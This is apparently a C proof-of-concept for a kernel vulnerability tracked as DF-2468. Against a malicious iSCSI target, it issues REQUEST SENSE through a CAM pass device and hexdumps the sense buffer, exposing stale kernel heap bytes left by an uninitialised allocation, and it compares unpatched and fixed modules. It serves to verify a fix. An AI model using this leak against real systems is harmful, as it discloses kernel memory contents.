DF-2468 / sense2468.c
/* * sense2468.c - Raw SCSI sense dumper for DF-2468 (userspace proof of the leak). * * Opens the CAM pass device for the iSCSI LUN, issues a REQUEST SENSE (or any * CHECK-CONDITION-triggering CDB) via CAMIOCOMMAND (XPT_SCSI_IO), and hexdumps * the RAW sense buffer returned in csio.sense_data. The malicious target * replies CHECK CONDITION with sense_len=252 but only 8 real bytes; the * initiator's getSenseData() kmalloc(252) [uninit], copies the 8 bytes, and * bcopy()s the rest (stale kernel heap) into the CCB sense buffer, which this * program reads back. Run 3x: the leaked bytes (after the 8 crafted ones) * vary across runs on the unpatched module and are zero on the fixed module. * * Build: cc -o sense2468 sense2468.c * Run: ./sense2468 /dev/passN */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_all.h> #include <bus/cam/scsi/scsi_pass.h> /* CAMIOCOMMAND */ #define SENSEBUF 252 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/pass1"; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open pass"); return 1; } union ccb ccb; memset(&ccb, 0, sizeof ccb); ccb.ccb_h.path_id = CAM_XPT_PATH_ID; ccb.ccb_h.target_id = CAM_TARGET_WILDCARD; ccb.ccb_h.target_lun = CAM_LUN_WILDCARD; /* REQUEST SENSE CDB: 03 00 00 00 fc 00 (alloc len 252) */ ccb.csio.cdb_io.cdb_bytes[0] = 0x03; ccb.csio.cdb_io.cdb_bytes[4] = SENSEBUF; /* allocation length */ ccb.csio.cdb_len = 6; ccb.csio.tag_action = CAM_TAG_ACTION_NONE; ccb.ccb_h.func_code = XPT_SCSI_IO; ccb.ccb_h.flags = CAM_DIR_NONE | CAM_DEV_QFRZDIS | CAM_PASS_ERR_RECOVER; ccb.csio.data_ptr = NULL; ccb.csio.dxfer_len = 0; ccb.csio.sense_len = SENSEBUF; /* ask for full sense buffer */ ccb.csio.sense_resid = 0; ccb.ccb_h.timeout = 20000; if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { perror("CAMIOCOMMAND"); close(fd); return 2; } unsigned char *s = (unsigned char *)&ccb.csio.sense_data; int sense_len = SENSEBUF - ccb.csio.sense_resid; printf("status=0x%x sense_resid=%d raw_sense_len=%d\n", ccb.ccb_h.status, ccb.csio.sense_resid, sense_len); for (int i = 0; i < sense_len; i++) { printf("%02x", s[i]); if ((i & 31) == 31) printf("\n"); else if ((i & 7) == 7) printf(" "); } printf("\n"); /* count non-zero bytes after offset 8 (the 8 crafted bytes) -- the leaked region */ int leaked = 0; for (int i = 8; i < sense_len; i++) if (s[i]) leaked++; printf("non-zero bytes after crafted[0..7]: %d (leak signature)\n", leaked); close(fd); return 0; } |